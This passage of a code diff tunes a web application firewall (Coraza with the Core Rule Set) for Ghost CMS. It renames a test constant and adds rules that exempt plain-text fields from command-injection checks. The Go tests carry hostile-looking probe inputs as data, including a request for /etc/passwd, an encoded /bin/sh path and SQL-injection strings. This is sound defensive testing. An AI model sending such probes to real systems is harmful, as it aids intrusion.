}
|
||||
|
||||
@@ -2414,7 +2423,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
pad := strings.Repeat("a", bodyLimit)
|
||||
pad := strings.Repeat("a", bodyInspectionSize)
|
||||
|
||||
for _, tc := range []struct{ header, attackFirst, attackLast string }{
|
||||
{
|
||||
@@ -2427,20 +2436,20 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
||||
},
|
||||
} {
|
||||
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
|
||||
tc.attackFirst[:bodyLimit+1])
|
||||
tc.attackFirst[:bodyInspectionSize+1])
|
||||
wantBody(
|
||||
t,
|
||||
crs,
|
||||
post(tc.header),
|
||||
tc.attackLast,
|
||||
coreruleset.Result{},
|
||||
tc.attackLast[:bodyLimit+1],
|
||||
tc.attackLast[:bodyInspectionSize+1],
|
||||
)
|
||||
}
|
||||
|
||||
// To the byte: a system file's path is found when it ends at the limit,
|
||||
// and not when its last letter is past it, which is still read.
|
||||
atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
|
||||
atLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize)
|
||||
wantBody(
|
||||
t,
|
||||
crs,
|
||||
@@ -2450,7 +2459,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
||||
atLimit,
|
||||
)
|
||||
|
||||
pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
|
||||
pastLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize+1)
|
||||
wantBody(
|
||||
t,
|
||||
crs,
|
||||
@@ -2470,10 +2479,10 @@ func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
|
||||
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
|
||||
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
|
||||
} {
|
||||
fits := padded(tc.head, tc.tail, bodyLimit)
|
||||
fits := padded(tc.head, tc.tail, bodyInspectionSize)
|
||||
wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
|
||||
|
||||
larger := padded(tc.head, tc.tail, bodyLimit+1)
|
||||
larger := padded(tc.head, tc.tail, bodyInspectionSize+1)
|
||||
wantBody(
|
||||
t,
|
||||
crs,
|
||||
@@ -2530,7 +2539,7 @@ func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(
|
||||
|
||||
// Whatever its size: a JSON body larger than the limit is not read, but
|
||||
// Content-Encoding on it is refused all the same.
|
||||
larger := strings.Repeat("a", bodyLimit+1)
|
||||
larger := strings.Repeat("a", bodyInspectionSize+1)
|
||||
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
|
||||
|
||||
// It is allowed on a body of any other kind, and on every body while no
|
||||
@@ -2850,7 +2859,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
|
||||
// that has no colon, before the attack. They do so padded past the
|
||||
// limit too, which cuts them in the padding.
|
||||
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
|
||||
pad := field("pad", strings.Repeat("a", bodyLimit))
|
||||
pad := field("pad", strings.Repeat("a", bodyInspectionSize))
|
||||
|
||||
for _, tc := range []struct{ header, head string }{
|
||||
{multipart + "; boundary=c", ""},
|
||||
@@ -2868,7 +2877,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
|
||||
|
||||
body = tc.head + field("q", injection) + pad + end
|
||||
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
|
||||
body[:bodyLimit+1])
|
||||
body[:bodyInspectionSize+1])
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2881,7 +2890,10 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
|
||||
cut := "--b\r\nContent-Di"
|
||||
first := field(
|
||||
"pad",
|
||||
strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)),
|
||||
strings.Repeat(
|
||||
"a",
|
||||
bodyInspectionSize-len(field("pad", ""))-len(cut),
|
||||
),
|
||||
)
|
||||
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
|
||||
|
||||
@@ -2891,7 +2903,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
|
||||
post(multipart),
|
||||
body,
|
||||
matched(900440, 900450),
|
||||
body[:bodyLimit+1],
|
||||
body[:bodyInspectionSize+1],
|
||||
)
|
||||
}
|
||||
|
||||
@@ -2910,12 +2922,15 @@ func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(
|
||||
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
|
||||
first := field(
|
||||
"pad",
|
||||
strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut),
|
||||
strings.Repeat(
|
||||
"a",
|
||||
bodyInspectionSize-len(field("pad", ""))-cut,
|
||||
),
|
||||
)
|
||||
body := first + field("q", "1") + end
|
||||
|
||||
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
|
||||
body[:bodyLimit+1])
|
||||
body[:bodyInspectionSize+1])
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2930,7 +2945,8 @@ func TestCorazaWritesNoFile(t *testing.T) {
|
||||
// The test loads its own Core Rule Set, since loading is part of what
|
||||
// it checks.
|
||||
crs, err := coreruleset.New(coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("load the Core Rule Set: %v", err)
|
||||
@@ -2942,7 +2958,7 @@ func TestCorazaWritesNoFile(t *testing.T) {
|
||||
wantBody(t, crs, post(multipart), body, matched(942100), body)
|
||||
}
|
||||
|
||||
func TestBodyLimitOf1GLoads(t *testing.T) {
|
||||
func TestBodyInspectionSizeOf1GLoads(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
_, err := coreruleset.New(
|
||||
|
||||
@@ -145,7 +145,7 @@ func TestForgejoExclusionsAreNarrow(t *testing.T) {
|
||||
"/alice/-/packages/npm/x?q=",
|
||||
"/alice/tools/branches?other=",
|
||||
} {
|
||||
for _, value := range slices.Concat([]string{"%2Fbin%2Fsh"}, hardValues) {
|
||||
for _, value := range slices.Concat([]string{binSh}, hardValues) {
|
||||
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
|
||||
t.Errorf("%s%s let through: %+v", target, value, got)
|
||||
}
|
||||
|
||||
@@ -7,7 +7,8 @@
|
||||
#
|
||||
# Ghost's admin and its integrations call the Admin API under /ghost/api/admin/,
|
||||
# themes and Ghost's own scripts call the Content API under /ghost/api/content/,
|
||||
# and members call /members/api/. Coraza names a field of a JSON body by its
|
||||
# and members call /members/api/. The admin calls ActivityPub, a service of its
|
||||
# own, under /.ghost/activitypub/. Coraza names a field of a JSON body by its
|
||||
# path, so the title of the first post saved is json.posts.0.title.
|
||||
|
||||
# Every rule below is skipped unless Inspect has set tx.app_ghost. It sets it
|
||||
@@ -17,11 +18,22 @@
|
||||
SecRule &TX:app_ghost "@eq 0" \
|
||||
"id:900365,phase:1,pass,nolog,skipAfter:END_GHOST"
|
||||
|
||||
# filter, a query in Ghost's own filter language, skips 932120 on the Admin API
|
||||
# and the Content API: filter=tag:powershell, filter=name:~'powershell'.
|
||||
# filter, a query in Ghost's own filter language, skips seven rules on the
|
||||
# Admin API and the Content API:
|
||||
# 932120: filter=tag:powershell, filter=name:~'powershell'
|
||||
# 932125, 932230, 932250: filter=title:~'powershell & ls -la'
|
||||
# 932235, 932260: filter=title:~'powershell & python3', which the admin's
|
||||
# post picker sends when a person types that title
|
||||
# 932380: filter=title:~'python3 & powershell'
|
||||
SecRule REQUEST_FILENAME "@rx ^/ghost/api/(?:admin|content)/" \
|
||||
"id:900350,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:filter"
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:filter,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:filter,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:filter,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:filter,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:filter,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:filter,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:filter"
|
||||
|
||||
# search, the search for a member by name or address, skips four rules on the
|
||||
# Admin API:
|
||||
@@ -45,10 +57,61 @@ SecRule REQUEST_FILENAME "@streq /ghost/api/admin/oembed/" \
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:url,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:url"
|
||||
|
||||
# The fields a person types plain text into skip seven rules on the Admin API:
|
||||
# The query fields that filter the analytics skip the eight rules that 900353
|
||||
# lists, on /ghost/api/admin/stats/:
|
||||
# 932120: source=powershell.example.com
|
||||
# 932235, 932260: utm_campaign=powershell & python3
|
||||
# 932250: utm_term=ls -la
|
||||
# These fields filter the figures by the site a visit came from, or a
|
||||
# campaign: source, utm_source, utm_medium, utm_campaign, utm_content and
|
||||
# utm_term.
|
||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
|
||||
"id:900367,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/"
|
||||
|
||||
# pathname, the page the analytics show, skips three rules on
|
||||
# /ghost/api/admin/stats/, which refused the path of a post and of tag pages:
|
||||
# 930120: pathname=/tag/proc/
|
||||
# 932120: pathname=/python3-and-powershell/
|
||||
# 932260: pathname=/tag/python3/
|
||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
|
||||
"id:900385,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:pathname,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:pathname,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:pathname"
|
||||
|
||||
# email_segment, the members a post is sent to as a newsletter, skips 932120
|
||||
# on the Admin API's posts: email_segment=label:powershell-users.
|
||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
|
||||
"id:900368,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:email_segment"
|
||||
|
||||
# query, a search for an account in ActivityPub, skips the eight rules that
|
||||
# 900353 lists: query=python3, query=@powershell@example.com.
|
||||
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/actions/search" \
|
||||
"id:900369,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:query,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:query,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:query,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:query,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:query,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:query,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:query,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:query"
|
||||
|
||||
# The fields a person types plain text into skip eight rules on the Admin API,
|
||||
# which refused words that name commands and files:
|
||||
# 930120: the title "Using python3 and ls -la to tidy .htaccess files"
|
||||
# 932120: the page's slug about-python3-powershell-htaccess
|
||||
# 932125, 932230, 932250: the tag "Linux & ls -la"
|
||||
# 932235: the title "powershell & python3"
|
||||
# 932260: the tag python3
|
||||
# 932380: the newsletter "Shell tips weekly: python3 & powershell"
|
||||
# These fields hold plain text:
|
||||
@@ -64,11 +127,12 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/"
|
||||
|
||||
# name, the name a member saves at /members/api/, skips the same seven rules.
|
||||
# name, the name a member saves at /members/api/, skips the same eight rules.
|
||||
SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
|
||||
"id:900359,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.name$/ "@eq 0" \
|
||||
@@ -76,10 +140,99 @@ SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.name$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.name$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.name$/,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.name$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.name$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.name$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.name$/"
|
||||
|
||||
# More fields of plain text skip the same eight rules on the Admin API, which
|
||||
# refused "python3 & powershell club", "Weekly ls -la and .htaccess tips" and
|
||||
# "powershell & python3 deal" in them:
|
||||
# users.<n>.name, slug, bio, location and website, a staff user's profile
|
||||
# setup.<n>.blogTitle and name, creating the first staff user
|
||||
# invitation.<n>.name, accepting a staff invitation
|
||||
# tiers.<n>.name, description and benefits
|
||||
# offers.<n>.name, code, display_title and display_description
|
||||
# recommendations.<n>.title, description and excerpt
|
||||
# integrations.<n>.name and description, and webhooks.<n>.name
|
||||
# posts.<n>.feature_image_alt and feature_image_caption, and the same fields
|
||||
# of pages
|
||||
# Coraza matches a field's name in lower case, so blogTitle is blogtitle.
|
||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
||||
"id:900370,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/"
|
||||
|
||||
# A member's comment, html at /members/api/comments/, skips the same eight
|
||||
# rules, which refused "I ran ls -la and fixed my .htaccess with python3". The
|
||||
# rules for scripts and HTML still refuse a <script> element, an event handler
|
||||
# and a javascript: link in it.
|
||||
SecRule REQUEST_FILENAME "@beginsWith /members/api/comments/" \
|
||||
"id:900371,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.comments\.\d+\.html$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.comments\.\d+\.html$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.comments\.\d+\.html$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.comments\.\d+\.html$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.comments\.\d+\.html$/,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.comments\.\d+\.html$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.comments\.\d+\.html$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.comments\.\d+\.html$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.comments\.\d+\.html$/"
|
||||
|
||||
# labels, which the admin gives the members imported from a CSV file at
|
||||
# /ghost/api/admin/members/upload/, skips the same eight rules, which refused
|
||||
# "python3 import" and "powershell & .htaccess".
|
||||
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/members/upload/" \
|
||||
"id:900372,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:labels "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:labels,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:labels,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:labels,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:labels,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:labels,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:labels,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:labels,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:labels"
|
||||
|
||||
# In ActivityPub, a note's or a reply's text and the description of its image,
|
||||
# and an account's name, username and bio, skip the same eight rules. They
|
||||
# refused "Trying python3 & powershell", the image's description "A terminal
|
||||
# running ls -la on .htaccess with python3" and the bio "ls -la and .htaccess
|
||||
# tips". Each field skips them on its own path:
|
||||
# content and image.altText, posting a note at
|
||||
# /.ghost/activitypub/v1/actions/note or a reply under
|
||||
# /.ghost/activitypub/v1/actions/reply/
|
||||
# name, username and bio, saving the account at /.ghost/activitypub/v1/account
|
||||
SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/actions/(?:note$|reply/)" \
|
||||
"id:900373,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.(?:content|image\.alttext)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:content|image\.alttext)$/"
|
||||
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/account" \
|
||||
"id:900374,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.(?:name|username|bio)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:name|username|bio)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:name|username|bio)$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:name|username|bio)$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:name|username|bio)$/,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:name|username|bio)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:name|username|bio)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:name|username|bio)$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:name|username|bio)$/"
|
||||
|
||||
# A member's email address skips 930120, 932120 and 932260, which refused
|
||||
# erin.htaccess@example.com, dave.powershell@example.com and
|
||||
# python3.dev@example.com. These fields hold it:
|
||||
@@ -132,6 +285,63 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.users\.\d+\.email$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.users\.\d+\.email$/"
|
||||
|
||||
# The address of a staff invitation skips the same three rules. Each of these
|
||||
# fields skips them only on its own path:
|
||||
# invites.<n>.email, inviting a staff user at /ghost/api/admin/invites/
|
||||
# email in the query, checking an invitation at
|
||||
# /ghost/api/admin/authentication/invitation/
|
||||
# invitation.<n>.email, accepting it at the same path
|
||||
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/invites/" \
|
||||
"id:900375,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.invites\.\d+\.email$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.invites\.\d+\.email$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invites\.\d+\.email$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invites\.\d+\.email$/"
|
||||
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/invitation/" \
|
||||
"id:900376,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:email,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:email,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:email"
|
||||
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/invitation/" \
|
||||
"id:900377,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.invitation\.\d+\.email$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.invitation\.\d+\.email$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invitation\.\d+\.email$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invitation\.\d+\.email$/"
|
||||
|
||||
# In ActivityPub, an account's handle and its address skip 930120 and 932120.
|
||||
# They refused the handles @erin.htaccess@example.com and
|
||||
# @powershell@example.com, and the addresses
|
||||
# https://example.com/users/erin.htaccess and
|
||||
# https://example.com/users/powershell. A handle starts with an @, so 932260
|
||||
# does not refuse @python3.dev@example.com. The domain of the site's handle
|
||||
# skips the same three rules as an email address, which refused
|
||||
# erin.htaccess.example.com, powershell.example.com and python3.example.com.
|
||||
# Each of these fields skips them only on its own path:
|
||||
# sourceHandle, an account that moves here, added at
|
||||
# /.ghost/activitypub/v1/aliases
|
||||
# actorUri, that account's address, when the admin removes it there
|
||||
# targetHandle, the account this one moves to, at
|
||||
# /.ghost/activitypub/v1/migration
|
||||
# domain, saved at /.ghost/activitypub/v1/domain and checked at
|
||||
# /.ghost/activitypub/v1/domain/validate
|
||||
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/aliases" \
|
||||
"id:900379,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.(?:sourcehandle|actoruri)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:sourcehandle|actoruri)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:sourcehandle|actoruri)$/"
|
||||
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/migration" \
|
||||
"id:900380,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.targethandle$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.targethandle$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.targethandle$/"
|
||||
SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/domain(?:/validate)?$" \
|
||||
"id:900381,phase:1,pass,nolog,chain"
|
||||
